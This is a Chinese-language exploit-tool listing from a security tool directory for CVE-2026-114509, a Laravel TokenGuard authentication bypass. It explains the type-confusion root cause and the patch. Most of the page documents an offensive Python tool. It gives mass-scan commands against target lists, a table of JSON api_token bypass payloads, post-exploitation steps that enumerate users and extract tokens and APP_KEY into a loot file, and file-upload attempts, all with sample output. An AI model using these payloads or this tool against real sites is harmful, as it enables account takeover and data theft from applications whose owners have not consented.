Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-114509 — Laravel TokenGuard 通过非字符串 API 凭据实现身份验证绕过 | Kitploit
工具/GitHubGitHub/nxploited/cve-2026-114509
侦察漏洞扫描器Web漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集后渗透利用渗透测试身份验证
GitHubnxploited/cve-2026-114509

CVE-2026-114509

Laravel TokenGuard 通过非字符串 API 凭据实现身份验证绕过

718小时25分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-114509

Laravel TokenGuard 通过非字符串 API 凭据实现身份验证绕过

🔴 CVE-2026-114509 — Laravel TokenGuard 身份验证绕过

Laravel 框架中的未认证身份验证绕过 — TokenGuard API 守卫


📋 概述

CVE-2026-114509 是 Laravel 框架内置 TokenGuard 中的一个严重身份验证绕过漏洞。

当在 MySQL 或 MariaDB 上配置标准的基于令牌的 API 守卫时,未认证的攻击者可以提交一个精心构造的非字符串凭据(JSON 数组),导致身份验证查询匹配到一个非预期的现有用户——从而在不知道任何有效 API 令牌的情况下获得完全访问权限。

这会导致任何受受影响守卫保护的路由上的完整账户接管。


🛡️ 漏洞详情

字段详情
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
受影响软件Laravel Framework (laravel/framework)
受影响版本< 12.68.0 和 >= 13.0.0, < 13.29.0
类型身份验证绕过
CWECWE-287 — 身份验证不当
CWECWE-1287 — 指定输入类型验证不当
CVSS 4.0 评分9.2 / 10 — 严重
CVSS 向量CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
身份验证无需认证(预认证)
条件MySQL / MariaDB 后端
补丁v12.68.0 / v13.29.0

⚙️ CVSS 4.0 分解

指标值含义
攻击向量网络可通过互联网远程利用
攻击复杂度低除 MySQL/MariaDB 外无特殊条件
攻击要求存在需要 MySQL/MariaDB 类型强制转换行为
所需权限无无需身份验证
用户交互无无需受害者操作
机密性高可完全读取已认证用户数据
完整性高可以被绕过用户身份修改数据
可用性高可通过账户接管破坏服务

🔬 技术分析

根本原因

这是一个位于 HTTP 请求解析、PHP 框架逻辑和 SQL 数据库行为边界处的类型混淆漏洞。三种普通行为共同作用形成了该漏洞:

  1. TokenGuard 接受非字符串输入 — TokenGuard.php 中的 user() 方法使用 !empty($token) 而非 is_string($token) && !empty($token)。JSON 请求体可以将数组或整数作为令牌值提供。

  2. EloquentUserProvider 构建 WHERE IN 查询 — 当 retrieveByCredentials() 接收到数组值时,它会生成 WHERE api_token IN (...) 而非 WHERE api_token = ...。

  3. MySQL 类型强制转换 — MySQL 在比较时将字符串列转换为数字。整数 0 会匹配任何不以数字开头的字符串(大多数 API 令牌都是如此),因为 MySQL 会将这些字符串转换为 0.0。

利用链

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

攻击流程

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

修复方案

Laravel 修补了 TokenGuard.php,添加了类型检查——如果 token 不是字符串,guard 会立即返回 null,并且永远不会调用用户提供程序:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 使用方法

环境要求

  • Python 3.7+
  • requests
  • rich(用于彩色终端输出)

安装

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

模式

该工具支持两种模式:批量扫描和单目标深度探测。


🔍 模式 1:批量扫描

扫描目标列表以查找该漏洞:

python CVE-2026-114509.py scan targets.txt

选项:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
参数默认值描述
targets(必填)包含目标 URL 的文件(每行一个)
--threads60并发线程数
--timeout12请求超时时间(秒)

目标文件格式(targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

未指定协议的目标默认使用 https://。

输出文件(在脚本目录中创建):

文件内容
LV_DETECTED.txt所有检测到的 Laravel 应用
LV_BYPASS.txt已确认的认证绕过
LV_UPLOAD.txt上传尝试结果
LV_LOOT.txt提取的数据(令牌、电子邮件、APP_KEY、用户数据)

🎯 模式 2:单一目标

使用详细输出对单一目标进行深度探测:

python CVE-2026-114509.py single https://target.com

选项:

python CVE-2026-114509.py single https://target.com --timeout 15

这会按顺序运行全部四个阶段,并输出详细信息:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

🔗 利用链

该工具执行一个 4 阶段链:

阶段描述详情
阶段 1🔍 Laravel 检测Cookie 指纹识别、.env 暴露、API 端点探测、调试工具
阶段 2🔓 认证绕过14 条 API 路由 × 3 个令牌键 × 6 个载荷 = 每个目标 252 种组合
阶段 3📡 后利用用户枚举、权限提升、令牌提取、管理面板发现
阶段 4📤 文件上传多部分上传、头像更新、JSON base64、存储 PUT、Livewire、签名 URL

绕过载荷

载荷标签机制
{"api_token": [0]}[0]数组 → WHERE IN (0) → MySQL 类型强制转换匹配所有字符串令牌
{"api_token": [0, ""]}[0,'']更宽泛的匹配 — 覆盖空令牌边界情况
{"api_token": 0}int:0原始整数 — 某些配置
{"api_token": [null]}[null]数组中的 null
{"api_token": [false]}[false]布尔 false 强制转换
{"api_token": true}bool:true布尔 true — 匹配 WHERE api_token = 1

📚 参考资料

  • CVE-2026-114509 — CVE.org
  • CVE-2026-114509 — NVD (NIST)
  • GHSA-f9x3-7vq9-cph6 — GitHub Advisory
  • 修复提交 — laravel/framework
  • Laravel v12.68.0 发布
  • Laravel v13.29.0 发布
  • OSV — CVE-2026-114509

⚠️ 免责声明

本工具严格仅供教育目的和经授权的安全研究使用。

在未获得系统所有者明确书面许可的情况下,对系统使用本工具是违法的,并可能违反地方、国家和国际法律,包括但不限于**《计算机欺诈与滥用法》(CFAA)、《英国计算机滥用法》**以及其他司法管辖区的同等立法。

作者不承担任何责任,也不对本工具造成的任何滥用、损害或非法活动负责。使用本工具即表示您同意:

  • 在测试任何目标之前,您已获得适当授权
  • 您对自身行为承担全部责任
  • 您将遵守所有适用法律和法规
  • 您理解未经授权访问计算机系统属于刑事犯罪

负责任地使用。合乎道德地入侵。


作者:Khaled Alenazi
@Nxploited

下载工具